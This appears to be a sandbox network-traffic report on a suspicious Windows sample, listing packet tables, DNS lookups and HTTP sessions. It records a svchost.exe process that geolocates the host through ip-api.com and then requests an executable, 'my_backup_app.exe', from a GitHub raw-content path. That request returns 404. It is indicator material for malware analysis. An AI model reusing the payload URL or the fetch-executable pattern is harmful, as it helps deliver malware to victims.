Sep 20, 2024 12:14:57.377408028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377450943 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377482891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.377490044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377520084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.377540112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.377754927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377795935 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377835035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.377841949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.377863884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.377886057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.378479004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.378519058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.378551960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.378560066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.378590107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.378627062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.379507065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.379547119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.379580975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.379587889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.379616022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.379636049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386070967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386120081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386162043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386168957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386190891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386214972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386624098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386670113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386703014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386709929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.386730909 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.386759043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.423084974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423130989 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423311949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.423326969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423582077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.423700094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423742056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423899889 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.423912048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.423978090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.424232006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424273014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424314976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.424325943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424370050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.424390078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.424854994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424892902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424933910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.424945116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.424969912 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.425004005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.425770044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.425810099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.425848961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.425859928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.425884962 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.425929070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.426379919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.426422119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.426456928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.426467896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.426496029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.426517010 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.427200079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427256107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427278996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.427289009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427346945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.427797079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427838087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427870989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.427881956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.427908897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.427927971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.463658094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.463716984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.463871002 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.463877916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.463923931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464452982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464514971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464561939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464569092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464603901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464637995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464750051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464793921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464826107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464833021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.464855909 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.464871883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.465553999 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.465617895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.465641022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.465651035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.465677023 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.465697050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.466481924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.466559887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.466562033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.466593027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.466624022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.466643095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.467142105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.467201948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.467232943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.467240095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.467257977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.467278957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.472933054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.472999096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.473140001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.473148108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.473198891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.473603964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.473649025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.473683119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.473690033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.473722935 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.473746061 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.510169029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510243893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510304928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.510322094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510349989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.510380030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.510710001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510749102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510885954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.510898113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.510951042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.511348009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.511404991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.511440039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.511450052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.511477947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.511518955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.511882067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.511921883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.511961937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.511972904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.512001038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.512020111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.512635946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.512677908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.512717962 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.512728930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.512756109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.512774944 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.513281107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.513320923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.513367891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.513379097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.513405085 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.513431072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514249086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514286041 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514328003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514338017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514363050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514384985 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514411926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514452934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514489889 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514499903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.514527082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.514544964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552141905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552212954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552248955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552258015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552280903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552323103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552417040 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552459955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552489996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552496910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.552519083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.552536011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553220987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553270102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553301096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553308010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553323030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553347111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553376913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553438902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553446054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553539038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.553766966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.553787947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597330093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597388029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597438097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597450972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597489119 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597529888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597696066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597742081 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597778082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597788095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.597836018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.597836018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.598242044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598285913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598325968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.598335981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598361015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.598685026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598763943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.598776102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598834991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.598865032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:57.598936081 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:57.599225998 CEST	58640	443	192.168.2.4	185.199.108.133

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 20, 2024 12:14:11.416492939 CEST	53	52335	1.1.1.1	192.168.2.4
Sep 20, 2024 12:14:18.509321928 CEST	63271	53	192.168.2.4	1.1.1.1
Sep 20, 2024 12:14:18.518305063 CEST	53	63271	1.1.1.1	192.168.2.4
Sep 20, 2024 12:14:40.859427929 CEST	63164	53	192.168.2.4	1.1.1.1
Sep 20, 2024 12:14:40.866530895 CEST	53	63164	1.1.1.1	192.168.2.4
Sep 20, 2024 12:14:41.434564114 CEST	59112	53	192.168.2.4	1.1.1.1
Sep 20, 2024 12:14:41.441539049 CEST	53	59112	1.1.1.1	192.168.2.4
Sep 20, 2024 12:14:43.117744923 CEST	49531	53	192.168.2.4	1.1.1.1
Sep 20, 2024 12:14:43.125729084 CEST	53	49531	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Sep 20, 2024 12:14:18.524857044 CEST	192.168.2.4	142.250.74.196	4d5a	Echo
Sep 20, 2024 12:14:18.531204939 CEST	142.250.74.196	192.168.2.4	555a	Echo Reply
Sep 20, 2024 12:14:18.650327921 CEST	192.168.2.4	142.250.74.196	4d59	Echo
Sep 20, 2024 12:14:18.657062054 CEST	142.250.74.196	192.168.2.4	5559	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 20, 2024 12:14:18.509321928 CEST	192.168.2.4	1.1.1.1	0xe7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:40.859427929 CEST	192.168.2.4	1.1.1.1	0xdc30	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:41.434564114 CEST	192.168.2.4	1.1.1.1	0x3448	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:43.117744923 CEST	192.168.2.4	1.1.1.1	0xa939	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 20, 2024 12:14:18.518305063 CEST	1.1.1.1	192.168.2.4	0xe7	No error (0)	www.google.com	142.250.74.196	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:40.866530895 CEST	1.1.1.1	192.168.2.4	0xdc30	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:41.441539049 CEST	1.1.1.1	192.168.2.4	0x3448	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:41.441539049 CEST	1.1.1.1	192.168.2.4	0x3448	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:41.441539049 CEST	1.1.1.1	192.168.2.4	0x3448	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:41.441539049 CEST	1.1.1.1	192.168.2.4	0x3448	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 20, 2024 12:14:43.125729084 CEST	1.1.1.1	192.168.2.4	0xa939	No error (0)	github.com	140.82.121.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

github.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	58627	208.95.112.1	80	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Sep 20, 2024 12:14:40.877854109 CEST	65	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Sep 20, 2024 12:14:41.354490042 CEST	482	IN	HTTP/1.1 200 OK Date: Fri, 20 Sep 2024 10:14:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 305 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	58629	208.95.112.1	80	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Sep 20, 2024 12:14:41.798042059 CEST	65	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Sep 20, 2024 12:14:42.258598089 CEST	482	IN	HTTP/1.1 200 OK Date: Fri, 20 Sep 2024 10:14:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 305 Access-Control-Allow-Origin: * X-Ttl: 59 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.33"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	58628	185.199.108.133	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:42 UTC	116	OUT	GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-20 10:14:42 UTC	802	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: 447B:1AF872:79D22C:849FDF:66ED4B10 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:42 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740024-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827282.099355,VS0,VE9 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 40bf59799317917027e588753cd2b80ed5d4c96c Expires: Fri, 20 Sep 2024 10:19:42 GMT Source-Age: 0
2024-09-20 10:14:42 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	58630	185.199.108.133	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:42 UTC	116	OUT	GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
